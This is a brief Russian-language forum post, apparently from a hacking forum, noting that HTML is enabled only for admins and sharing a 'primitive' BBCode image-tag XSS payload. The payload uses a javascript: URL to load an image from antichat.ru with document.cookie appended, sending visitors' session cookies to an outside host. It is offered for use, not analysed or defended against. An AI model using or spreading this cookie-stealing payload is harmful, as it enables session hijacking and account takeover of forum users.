HTML по дефолту разрешен админу. Обычным пользователям - нет. Потому на локалеке и катит.

вот ещё нашёл. правда же примитив? =)

[im*g]javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;[/im*g]